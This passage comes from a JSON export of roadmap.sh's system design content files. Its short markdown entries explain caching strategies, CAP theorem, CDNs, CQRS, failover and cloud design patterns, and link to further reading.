    "content": "# Busy Database\n\nA busy database in system design refers to a database that is handling a high volume of requests or transactions, this can occur when a system is experiencing high traffic or when a database is not properly optimized for the workload it is handling. This can lead to Performance degradation, Increased resource utilization, Deadlocks and contention, Data inconsistencies. To address a busy database, a number of approaches can be taken such as Scaling out, Optimizing the schema, Caching, and Indexing.\n\nVisit the following resources to learn more:\n\n- [@article@Busy Database antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/busy-database/)\n- [@feed@Explore top posts about Database](https://app.daily.dev/tags/database?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/busy-frontend@i_2M3VloG-xTgWDWp4ngt.md",
    "content": "# Busy Frontend\n\nA busy frontend happens when the user-facing part of the system — such as the web servers, CDN, or browser — is handling more work than it can efficiently manage. This can lead to slow page loads, delayed responses, or timeouts. Common causes include too many concurrent users, large static assets, heavy client-side rendering, or missing caching layers.\n\nTo improve responsiveness, you can use CDNs to cache static files, optimize and lazy-load scripts, balance requests across multiple servers, and reduce unnecessary API calls. The goal is to make sure the frontend remains fast and responsive even under heavy traffic.\n\nVisit the following resources to learn more:\n\n- [@article@Busy Front End antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/busy-front-end/)\n- [@feed@Explore top posts about Frontend Development](https://app.daily.dev/tags/frontend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/cache-aside@PK4V9OWNVi8StdA2N13X2.md",
    "content": "# Cache Aside\n\nLoad data on demand into a cache from a data store. This can improve performance and also helps to maintain consistency between data held in the cache and data in the underlying data store.\n\nVisit the following resources to learn more:\n\n- [@article@Cache-Aside pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/cache-aside)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/cache-aside@bffJlvoLHFldS0CluWifP.md",
    "content": "# Cache-aside\n\nThe application is responsible for reading and writing from storage. The cache does not interact with storage directly. The application does the following:\n\n*   Look for entry in cache, resulting in a cache miss\n    \n*   Load entry from the database\n    \n*   Add entry to cache\n    \n*   Return entry\n    \n      def get_user(self, user_id):\n        user = cache.get(\"user.{0}\", user_id)\n        if user is None:\n            user = db.query(\"SELECT * FROM users WHERE user_id = {0}\", user_id)\n        if user is not None:\n            key = \"user.{0}\".format(user_id)\n            cache.set(key, json.dumps(user))\n        return user\n    \n[Memcached](https://memcached.org/) is generally used in this manner. Subsequent reads of data added to cache are fast. Cache-aside is also referred to as lazy loading. Only the requested data is cached, which avoids filling up the cache with data that isn't requested.\n\n![Cache Aside](https://i.imgur.com/Ujf0awN.png)\n\nVisit the following resources to learn more:\n\n- [@article@From cache to in-memory data grid](https://www.slideshare.net/tmatyashovsky/from-cache-to-in-memory-data-grid-introduction-to-hazelcast)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/caching@-X4g8kljgVBOBcf1DDzgi.md",
    "content": "# Caching\n\nCaching is the process of storing frequently accessed data in a temporary storage location, called a cache, in order to quickly retrieve it without the need to query the original data source. This can improve the performance of an application by reducing the number of times a data source must be accessed.\n\nThere are several caching strategies:\n\n*   Refresh Ahead\n*   Write-Behind\n*   Write-through\n*   Cache Aside\n\nAlso, you can have the cache in several places, examples include:\n\n*   Client Caching\n*   CDN Caching\n*   Web Server Caching\n*   Database Caching\n*   Application Caching\n\nVisit the following resources to learn more:\n\n- [@article@Caching Strategies](https://medium.com/@mmoshikoo/cache-strategies-996e91c80303)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/cap-theorem@tcGdVQsCEobdV9hgOq3eG.md",
    "content": "# CAP Theorem\n\nAccording to CAP theorem, in a distributed system, you can only support two of the following guarantees:\n\n*   **Consistency** - Every read receives the most recent write or an error\n*   **Availability** - Every request receives a response, without guarantee that it contains the most recent version of the information\n*   **Partition Tolerance** - The system continues to operate despite arbitrary partitioning due to network failures\n\nNetworks aren't reliable, so you'll need to support partition tolerance. You'll need to make a software tradeoff between consistency and availability.\n\nCP - consistency and partition tolerance\n----------------------------------------\n\nWaiting for a response from the partitioned node might result in a timeout error. CP is a good choice if your business needs require atomic reads and writes.\n\nAP - availability and partition tolerance\n-----------------------------------------\n\nResponses return the most readily available version of the data available on any node, which might not be the latest. Writes might take some time to propagate when the partition is resolved.\n\nAP is a good choice if the business needs to allow for [eventual consistency](https://github.com/donnemartin/system-design-primer#eventual-consistency) or when the system needs to continue working despite external errors.\n\nVisit the following resources to learn more:\n\n- [@opensource@CAP FAQ](https://github.com/henryr/cap-faq)\n- [@article@CAP theorem revisited](http://robertgreiner.com/2014/08/cap-theorem-revisited/)\n- [@article@A plain english introduction to CAP theorem](http://ksat.me/a-plain-english-introduction-to-cap-theorem)\n- [@video@The CAP theorem](https://www.youtube.com/watch?v=k-Yaq8AHlFA)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/cdn-caching@Kisvxlrjb7XnKFCOdxRtb.md",
    "content": "# CDN Caching\n\nA Content Delivery Network (CDN) is a distributed network of servers that are strategically placed in various locations around the world. The main purpose of a CDN is to serve content to end-users with high availability and high performance by caching frequently accessed content on servers that are closer to the end-users.\n\nWhen a user requests content from a website that is using a CDN, the CDN will first check if the requested content is available in the cache of a nearby server. If the content is found in the cache, it is served to the user from the nearby server. If the content is not found in the cache, it is requested from the origin server (the original source of the content) and then cached on the nearby server for future requests.\n\nCDN caching can significantly improve the performance and availability of a website by reducing the distance that data needs to travel, reducing the load on the origin server, and allowing for faster delivery of content to end-users."
  },
  {
    "path": "src/data/roadmaps/system-design/content/chatty-io@0IzQwuYi_E00bJwxDuw2B.md",
    "content": "# Chatty I/O\n\nThe cumulative effect of a large number of I/O requests can have a significant impact on performance and responsiveness.\n\nNetwork calls and other I/O operations are inherently slow compared to compute tasks. Each I/O request typically has significant overhead, and the cumulative effect of numerous I/O operations can slow down the system. Here are some common causes of chatty I/O.\n\n*   Reading and writing individual records to a database as distinct requests\n*   Implementing a single logical operation as a series of HTTP requests\n*   Reading and writing to a file on disk\n\nVisit the following resources to learn more:\n\n- [@article@Chatty I/O antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/chatty-io/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/choreography@aCzRgUkVBvtHUeLU6p5ZH.md",
    "content": "# Choreography\n\nHave each component of the system participate in the decision-making process about the workflow of a business transaction, instead of relying on a central point of control.\n\nVisit the following resources to learn more:\n\n- [@article@Choreography pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/choreography)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/circuit-breaker@D1OmCoqvd3-_af3u0ciHr.md",
    "content": "# Circuit Breaker\n\nHandle faults that might take a variable amount of time to recover from, when connecting to a remote service or resource. This can improve the stability and resiliency of an application.\n\nVisit the following resources to learn more:\n\n- [@article@Circuit breaker design pattern](https://en.wikipedia.org/wiki/Circuit_breaker_design_pattern)\n- [@article@Overview of Circuit Breaker](https://medium.com/geekculture/design-patterns-for-microservices-circuit-breaker-pattern-276249ffab33)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/circuit-breaker@O4zYDqvVWD7sMI27k_0Nl.md",
    "content": "# Circuit Breaker\n\nHandle faults that might take a variable amount of time to recover from, when connecting to a remote service or resource. This can improve the stability and resiliency of an application.\n\nVisit the following resources to learn more:\n\n- [@article@Circuit breaker design pattern](https://en.wikipedia.org/wiki/Circuit_breaker_design_pattern)\n- [@article@Overview of Circuit Breaker](https://medium.com/geekculture/design-patterns-for-microservices-circuit-breaker-pattern-276249ffab33)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/claim-check@kl4upCnnZvJSf2uII1Pa0.md",
    "content": "# Claim Check\n\nSplit a large message into a claim check and a payload. Send the claim check to the messaging platform and store the payload to an external service. This pattern allows large messages to be processed, while protecting the message bus and the client from being overwhelmed or slowed down. This pattern also helps to reduce costs, as storage is usually cheaper than resource units used by the messaging platform.\n\nVisit the following resources to learn more:\n\n- [@article@Claim Check - Cloud Design patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/claim-check)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/client-caching@RHNRb6QWiGvCK3KQOPK3u.md",
    "content": "# Client Caching\n\nClient-side caching refers to the practice of storing frequently accessed data on the client's device rather than the server. This type of caching can help improve the performance of an application by reducing the number of times the client needs to request data from the server.\n\nOne common example of client-side caching is web browsers caching frequently accessed web pages and resources. When a user visits a web page, the browser stores a copy of the page and its resources (such as images, stylesheets, and scripts) in the browser's cache. If the user visits the same page again, the browser can retrieve the cached version of the page and its resources instead of requesting them from the server, which can reduce the load time of the page.\n\nAnother example of client-side caching is application-level caching. Some applications, such as mobile apps, can cache data on the client's device to improve performance and reduce the amount of data that needs to be transferred over the network.\n\nClient side caching has some advantages like reducing server load, faster page load times, and reducing network traffic. However, it also has some drawbacks like the potential for stale data if the client-side cache is not properly managed, or consuming memory or disk space on the client's device.\n\nVisit the following resources to learn more:\n\n- [@article@HTTP Caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/cloud-design-patterns@THlzcZTNnPGLRiHPWT-Jv.md",
    "content": "# Cloud Design Patterns\n\nCloud design patterns are solutions to common problems that arise when building systems that run on a cloud platform. These patterns provide a way to design and implement systems that can take advantage of the unique characteristics of the cloud, such as scalability, elasticity, and pay-per-use pricing. Some common cloud design patterns include Scalability, Elasticity, Fault Tolerance, Microservices, Serverless, Data Management, Front-end and Back-end separation and Hybrid.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Design Patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/communication@uQFzD_ryd-8Dr1ppjorYJ.md",
    "content": "# Communication\n\nNetwork protocols are a key part of systems today, as no system can exist in isolation - they all need to communicate with each other. You should learn about the networking protocols such as HTTP, TCP, UDP. Also, learn about the architectural styles such as RPC, REST, GraphQL and gRPC."
  },
  {
    "path": "src/data/roadmaps/system-design/content/compensating-transaction@MNlWNjrG8eh5OzPVlbb9t.md",
    "content": "# Compensating Transaction\n\nUndo the work performed by a series of steps, which together define an eventually consistent operation, if one or more of the steps fail. Operations that follow the eventual consistency model are commonly found in cloud-hosted applications that implement complex business processes and workflows.\n\nVisit the following resources to learn more:\n\n- [@article@Compensating Transaction pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/compensating-transaction)\n- [@article@Intro to Compensation Transaction](https://en.wikipedia.org/wiki/Compensating_transaction)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/competing-consumers@9Ld07KLOqP0ICtXEjngYM.md",
    "content": "# Competing Consumers\n\nEnable multiple concurrent consumers to process messages received on the same messaging channel. With multiple concurrent consumers, a system can process multiple messages concurrently to optimize throughput, to improve scalability and availability, and to balance the workload.\n\nVisit the following resources to learn more:\n\n- [@article@Competing Consumers pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/competing-consumers)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/compute-resource-consolidation@ODjVoXnvJasPvCS2A5iMO.md",
    "content": "# Compute Resource Consolidation\n\nConsolidate multiple tasks or operations into a single computational unit. This can increase compute resource utilization, and reduce the costs and management overhead associated with performing compute processing in cloud-hosted applications.\n\nVisit the following resources to learn more:\n\n- [@article@Compute Resource Consolidation pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/compute-resource-consolidation)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/consistency-patterns@GHe8V-REu1loRpDnHbyUn.md",
    "content": "# Consistency Patterns\n\nConsistency patterns refer to the ways in which data is stored and managed in a distributed system, and how that data is made available to users and applications. There are three main types of consistency patterns:\n\n*   Strong consistency\n*   Weak consistency\n*   Eventual Consistency\n\nEach of these patterns has its own advantages and disadvantages, and the choice of which pattern to use will depend on the specific requirements of the application or system.\n\nVisit the following resources to learn more:\n\n- [@article@Consistency Patterns in Distributed Systems](https://cs.fyi/guide/consistency-patterns-week-strong-eventual/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/content-delivery-networks@O730v5Ww3ByAiBSs6fwyM.md",
    "content": "# Content Delivery Networks\n\nA content delivery network (CDN) is a globally distributed network of proxy servers, serving content from locations closer to the user. Generally, static files such as HTML/CSS/JS, photos, and videos are served from CDN, although some CDNs such as Amazon's CloudFront support dynamic content. The site's DNS resolution will tell clients which server to contact.\n\nServing content from CDNs can significantly improve performance in two ways:\n\n*   Users receive content from data centers close to them\n*   Your servers do not have to serve requests that the CDN fulfills\n\nVisit the following resources to learn more:\n\n- [@opensource@Introduction to CDNs](https://github.com/donnemartin/system-design-primer#content-delivery-network)\n- [@article@The Differences Between Push And Pull CDNs](http://www.travelblogadvice.com/technical/the-differences-between-push-and-pull-cdns/)\n- [@article@Brief about Content delivery network](https://en.wikipedia.org/wiki/Content_delivery_network)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/cqrs@LTD3dn05c0ruUJW0IQO7z.md",
    "content": "# CQRS\n\nCQRS stands for Command and Query Responsibility Segregation, a pattern that separates read and update operations for a data store. Implementing CQRS in your application can maximize its performance, scalability, and security. The flexibility created by migrating to CQRS allows a system to better evolve over time and prevents update commands from causing merge conflicts at the domain level.\n\nVisit the following resources to learn more:\n\n- [@article@CQRS pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/cqrs)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/cqrs@ivr3mh0OES5n86FI1PN4N.md",
    "content": "# CQRS\n\nCQRS stands for Command and Query Responsibility Segregation, a pattern that separates read and update operations for a data store. Implementing CQRS in your application can maximize its performance, scalability, and security. The flexibility created by migrating to CQRS allows a system to better evolve over time and prevents update commands from causing merge conflicts at the domain level.\n\nVisit the following resources to learn more:\n\n- [@article@CQRS pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/cqrs)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/data-management@W0cUCrhiwH_Nrzxw50x3L.md",
    "content": "# Data Management\n\nData management is the key element of cloud applications, and influences most of the quality attributes. Data is typically hosted in different locations and across multiple servers for reasons such as performance, scalability or availability, and this can present a range of challenges. For example, data consistency must be maintained, and data will typically need to be synchronized across different locations.\n\nVisit the following resources to learn more:\n\n- [@article@Data management patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/category/data-management)\n- [@feed@Explore top posts about Data Management](https://app.daily.dev/tags/data-management?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/database-caching@BeIg4jzbij2cwc_a_VpYG.md",
    "content": "# Database Caching\n\nDatabase caching involves storing frequently accessed data from a database in a temporary storage location (the cache) to reduce the load on the database and improve application performance. Instead of repeatedly querying the database for the same data, the application first checks the cache. If the data is present (a cache hit), it's retrieved from the cache, which is much faster than a database query. If the data is not in the cache (a cache miss), the application queries the database, retrieves the data, stores it in the cache for future use, and then returns it to the application.\n\nVisit the following resources to learn more:\n\n- [@article@Database Caching](https://aws.amazon.com/caching/database-caching/)\n- [@article@Introduction to database caching](https://www.prisma.io/dataguide/managing-databases/introduction-database-caching)\n- [@article@Database Caching Strategies](https://medium.com/@sesmiat/database-caching-strategies-f5e40c3c9b74)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/databases@5FXwwRMNBhG7LT5ub6t2L.md",
    "content": "# Databases\n\nPicking the right database for a system is an important decision, as it can have a significant impact on the performance, scalability, and overall success of the system. Some of the key reasons why it's important to pick the right database include:\n\n*   Performance: Different databases have different performance characteristics, and choosing the wrong one can lead to poor performance and slow response times.\n*   Scalability: As the system grows and the volume of data increases, the database needs to be able to scale accordingly. Some databases are better suited for handling large amounts of data than others.\n*   Data Modeling: Different databases have different data modeling capabilities and choosing the right one can help to keep the data consistent and organized.\n*   Data Integrity: Different databases have different capabilities for maintaining data integrity, such as enforcing constraints, and can have different levels of data security.\n*   Support and maintenance: Some databases have more active communities and better documentation, making it easier to find help and resources.\n\nVisit the following resources to learn more:\n\n- [@video@Scaling up to your first 10 million users](https://www.youtube.com/watch?v=kKjm4ehYiMs)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/denormalization@Zp9D4--DgtlAjE2nIfaO_.md",
    "content": "# Denormalization\n\nDenormalization attempts to improve read performance at the expense of some write performance. Redundant copies of the data are written in multiple tables to avoid expensive joins. Some RDBMS such as PostgreSQL and Oracle support materialized views which handle the work of storing redundant information and keeping redundant copies consistent.\n\nOnce data becomes distributed with techniques such as federation and sharding, managing joins across data centers further increases complexity. Denormalization might circumvent the need for such complex joins.\n\nVisit the following resources to learn more:\n\n- [@article@Denormalization](https://en.wikipedia.org/wiki/Denormalization)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/deployment-stamps@FPPJw-I1cw8OxKwmDh0dT.md",
    "content": "# Deployment Stamps\n\nThe deployment stamp pattern involves provisioning, managing, and monitoring a heterogeneous group of resources to host and operate multiple workloads or tenants. Each individual copy is called a stamp, or sometimes a service unit, scale unit, or cell. In a multi-tenant environment, every stamp or scale unit can serve a predefined number of tenants. Multiple stamps can be deployed to scale the solution almost linearly and serve an increasing number of tenants. This approach can improve the scalability of your solution, allow you to deploy instances across multiple regions, and separate your customer data.\n\nVisit the following resources to learn more:\n\n- [@article@Deployment Stamps pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/deployment-stamp)\n- [@article@Deployment Stamps 101](https://blog.devgenius.io/deployment-stamps-101-7c04a6f704a2)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/deployment-stamps@Ze471tPbAwlwZyU4oIzH9.md",
    "content": "# Deployment Stamps\n\nThe deployment stamp pattern involves provisioning, managing, and monitoring a heterogeneous group of resources to host and operate multiple workloads or tenants. Each individual copy is called a stamp, or sometimes a service unit, scale unit, or cell. In a multi-tenant environment, every stamp or scale unit can serve a predefined number of tenants. Multiple stamps can be deployed to scale the solution almost linearly and serve an increasing number of tenants. This approach can improve the scalability of your solution, allow you to deploy instances across multiple regions, and separate your customer data.\n\nVisit the following resources to learn more:\n\n- [@article@Deployment Stamps pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/deployment-stamp)\n- [@article@Deployment Stamps 101](https://blog.devgenius.io/deployment-stamps-101-7c04a6f704a2)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/design--implementation@PtJ7-v1VCLsyaWWYHYujV.md",
    "content": "# Design and Implementation\n\nGood design encompasses factors such as consistency and coherence in component design and deployment, maintainability to simplify administration and development, and reusability to allow components and subsystems to be used in other applications and in other scenarios. Decisions made during the design and implementation phase have a huge impact on the quality and the total cost of ownership of cloud hosted applications and services.\n\nVisit the following resources to learn more:\n\n- [@article@Design and implementation patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/category/design-implementation)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/document-store@didEznSlVHqqlijtyOSr3.md",
    "content": "# Document Store\n\nA document store is centered around documents (XML, JSON, binary, etc), where a document stores all information for a given object. Document stores provide APIs or a query language to query based on the internal structure of the document itself. Note, many key-value stores include features for working with a value's metadata, blurring the lines between these two storage types.\n\nBased on the underlying implementation, documents are organized by collections, tags, metadata, or directories. Although documents can be organized or grouped together, documents may have fields that are completely different from each other.\n\nVisit the following resources to learn more:\n\n- [@article@Document-oriented database](https://en.wikipedia.org/wiki/Document-oriented_database)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/domain-name-system@Uk6J8JRcKVEFz4_8rLfnQ.md",
    "content": "# Domain Name System\n\nA Domain Name System (DNS) translates a domain name such as [www.example.com](http://www.example.com) to an IP address.\n\nDNS is hierarchical, with a few authoritative servers at the top level. Your router or ISP provides information about which DNS server(s) to contact when doing a lookup. Lower level DNS servers cache mappings, which could become stale due to DNS propagation delays. DNS results can also be cached by your browser or OS for a certain period of time, determined by the time to live (TTL).\n\n*   NS record (name server) - Specifies the DNS servers for your domain/subdomain.\n*   MX record (mail exchange) - Specifies the mail servers for accepting messages.\n*   A record (address) - Points a name to an IP address.\n*   CNAME (canonical) - Points a name to another name or CNAME ([example.com](http://example.com) to [www.example.com](http://www.example.com)) or to an A record.\n\nServices such as [CloudFlare](https://www.cloudflare.com/dns/) and [Route53](https://aws.amazon.com/route53/) provide managed DNS services. Some DNS services can route traffic through various methods:\n\n    *   Prevent traffic from going to servers under maintenance\n    *   Balance between varying cluster sizes\n    *   A/B testing\n\nVisit the following resources to learn more:\n\n- [@opensource@Getting started with Domain Name System](https://github.com/donnemartin/system-design-primer#domain-name-system)\n- [@article@What is DNS?](https://www.cloudflare.com/learning/dns/what-is-dns/)\n- [@article@Latency Based](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html#routing-policy-latency)\n- [@article@Geolocation Based](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html#routing-policy-geo)\n- [@article@Weighted Round Robin](https://www.jscape.com/blog/load-balancing-algorithms)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/event-driven@NEsPjQifNDlZJE-2YLVl1.md",
    "content": "# Event Driven\n\nEvent-driven invocation uses a trigger to start the background task. Examples of using event-driven triggers include:\n\n*   The UI or another job places a message in a queue. The message contains data about an action that has taken place, such as the user placing an order. The background task listens on this queue and detects the arrival of a new message. It reads the message and uses the data in it as the input to the background job. This pattern is known as asynchronous message-based communication.\n*   The UI or another job saves or updates a value in storage. The background task monitors the storage and detects changes. It reads the data and uses it as the input to the background job.\n*   The UI or another job makes a request to an endpoint, such as an HTTPS URI, or an API that is exposed as a web service. It passes the data that is required to complete the background task as part of the request. The endpoint or web service invokes the background task, which uses the data as its input.\n\nVisit the following resources to learn more:\n\n- [@article@Background Jobs - Event Driven Triggers](https://learn.microsoft.com/en-us/azure/architecture/best-practices/background-jobs#event-driven-triggers)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/event-sourcing@7OgRKlwFqrk3XO2z49EI1.md",
    "content": "# Event Sourcing\n\nInstead of storing just the current state of the data in a domain, use an append-only store to record the full series of actions taken on that data. The store acts as the system of record and can be used to materialize the domain objects. This can simplify tasks in complex domains, by avoiding the need to synchronize the data model and the business domain, while improving performance, scalability, and responsiveness. It can also provide consistency for transactional data, and maintain full audit trails and history that can enable compensating actions.\n\nVisit the following resources to learn more:\n\n- [@article@Event Sourcing pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/event-sourcing)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/eventual-consistency@rRDGVynX43inSeQ9lR_FS.md",
    "content": "# Eventual Consistency\n\nEventual consistency is a form of Weak Consistency. After an update is made to the data, it will be eventually visible to any subsequent read operations. The data is replicated in an asynchronous manner, ensuring that all copies of the data are eventually updated.\n\nVisit the following resources to learn more:\n\n- [@article@Consistency Patterns in Distributed Systems](https://cs.fyi/guide/consistency-patterns-week-strong-eventual/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/external-config-store@BrgXwf7g2F-6Rqfjryvpj.md",
    "content": "# External Configuration Store\n\nMove configuration information out of the application deployment package to a centralized location. This can provide opportunities for easier management and control of configuration data, and for sharing configuration data across applications and application instances.\n\nVisit the following resources to learn more:\n\n- [@article@External Configuration Store pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/external-configuration-store)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/extraneous-fetching@6u3XmtJFWyJnyZUnJcGYb.md",
    "content": "# Extraneous Fetching\n\nExtraneous fetching in system design refers to the practice of retrieving more data than is needed for a specific task or operation. This can occur when a system is not optimized for the specific workload or when the system is not properly designed to handle the data requirements.\n\nExtraneous fetching can lead to a number of issues, such as:\n\n*   Performance degradation\n*   Increased resource utilization\n*   Increased network traffic\n*   Poor user experience\n\nVisit the following resources to learn more:\n\n- [@article@Extraneous Fetching antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/extraneous-fetching/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/fail-over@L_jRfjvMGjFbHEbozeVQl.md",
    "content": "# Fail-Over\n\nFailover is an availability pattern that is used to ensure that a system can continue to function in the event of a failure. It involves having a backup component or system that can take over in the event of a failure.\n\nIn a failover system, there is a primary component that is responsible for handling requests, and a secondary (or backup) component that is on standby. The primary component is monitored for failures, and if it fails, the secondary component is activated to take over its duties. This allows the system to continue functioning with minimal disruption.\n\nFailover can be implemented in various ways, such as active-passive, active-active, and hot-standby.\n\nActive-passive\n--------------\n\nWith active-passive fail-over, heartbeats are sent between the active and the passive server on standby. If the heartbeat is interrupted, the passive server takes over the active's IP address and resumes service.\n\nThe length of downtime is determined by whether the passive server is already running in 'hot' standby or whether it needs to start up from 'cold' standby. Only the active server handles traffic.\n\nActive-passive failover can also be referred to as master-slave failover.\n\nActive-active\n-------------\n\nIn active-active, both servers are managing traffic, spreading the load between them.\n\nIf the servers are public-facing, the DNS would need to know about the public IPs of both servers. If the servers are internal-facing, application logic would need to know about both servers.\n\nActive-active failover can also be referred to as master-master failover.\n\nDisadvantages of Failover\n-------------------------\n\n*   Fail-over adds more hardware and additional complexity.\n*   There is a potential for loss of data if the active system fails before any newly written data can be replicated to the passive.\n\nVisit the following resources to learn more:\n\n- [@opensource@Fail Over](https://github.com/donnemartin/system-design-primer?tab=readme-ov-file#fail-over)\n- [@article@Active-Passive vs. Active-Active Failover](https://www.serverion.com/uncategorized/active-passive-vs-active-active-failover/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/federated-identity@lHPl-kr1ArblR7bJeQEB9.md",
    "content": "# Federated Identity pattern\n\nDelegate authentication to an external identity provider. This can simplify development, minimize the requirement for user administration, and improve the user experience of the application.\n\nVisit the following resources to learn more:\n\n- [@article@Federated Identity pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/federated-identity)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/federation@DGmVRI7oWdSOeIUn_g0rI.md",
    "content": "# Federation\n\nFederation (or functional partitioning) splits up databases by function. For example, instead of a single, monolithic database, you could have three databases: forums, users, and products, resulting in less read and write traffic to each database and therefore less replication lag. Smaller databases result in more data that can fit in memory, which in turn results in more cache hits due to improved cache locality. With no single central master serializing writes you can write in parallel, increasing throughput."
  },
  {
    "path": "src/data/roadmaps/system-design/content/gatekeeper@DTQJu0AvgWOhMFcOYqzTD.md",
    "content": "# Gatekeeper\n\nProtect applications and services using a dedicated host instance that acts as a broker between clients and the application or service, validates and sanitizes requests, and passes requests and data between them. This can provide an additional layer of security and limit the system's attack surface.\n\nVisit the following resources to learn more:\n\n- [@article@Gatekeeper pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/gatekeeper)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/gateway-aggregation@bANGLm_5zR9mqMd6Oox8s.md",
    "content": "# Gateway Aggregation\n\nUse a gateway to aggregate multiple individual requests into a single request. This pattern is useful when a client must make multiple calls to different backend systems to perform an operation.\n\nVisit the following resources to learn more:\n\n- [@article@Gateway Aggregation pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/gateway-aggregation)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/gateway-offloading@0SOWAA8hrLM-WsG5k66fd.md",
    "content": "# Gateway Offloading\n\nOffload shared or specialized service functionality to a gateway proxy. This pattern can simplify application development by moving shared service functionality, such as the use of SSL certificates, from other parts of the application into the gateway.\n\nVisit the following resources to learn more:\n\n- [@article@Gateway Offloading pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/gateway-offloading)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/gateway-routing@LXH_mDlILqcyIKtMYTWqy.md",
    "content": "# Gateway Routing\n\nRoute requests to multiple services or multiple service instances using a single endpoint. The pattern is useful when you want to:\n\n*   Expose multiple services on a single endpoint and route to the appropriate service based on the request\n*   Expose multiple instances of the same service on a single endpoint for load balancing or availability purposes\n*   Expose differing versions of the same service on a single endpoint and route traffic across the different versions\n\nVisit the following resources to learn more:\n\n- [@article@Gateway Routing pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/gateway-routing)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/geodes@6hOSEZJZ7yezVN67h5gmS.md",
    "content": "# Geodes\n\nThe Geode pattern involves deploying a collection of backend services into a set of geographical nodes, each of which can service any request for any client in any region. This pattern allows serving requests in an active-active style, improving latency and increasing availability by distributing request processing around the globe.\n\nVisit the following resources to learn more:\n\n- [@article@Geode pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/geodes)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/geodes@Ml9lPDGjRAJTHkBnX51Un.md",
    "content": "# Geodes\n\nThe Geode pattern involves deploying a collection of backend services into a set of geographical nodes, each of which can service any request for any client in any region. This pattern allows serving requests in an active-active style, improving latency and increasing availability by distributing request processing around the globe.\n\nVisit the following resources to learn more:\n\n- [@article@Geode pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/geodes)\n- [@article@Geode Formation, Types & Appearance | What is a Geode?](https://study.com/academy/lesson/geode-formation-types-appearance.html)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/graph-databases@6RLgnL8qLBzYkllHeaI-Z.md",
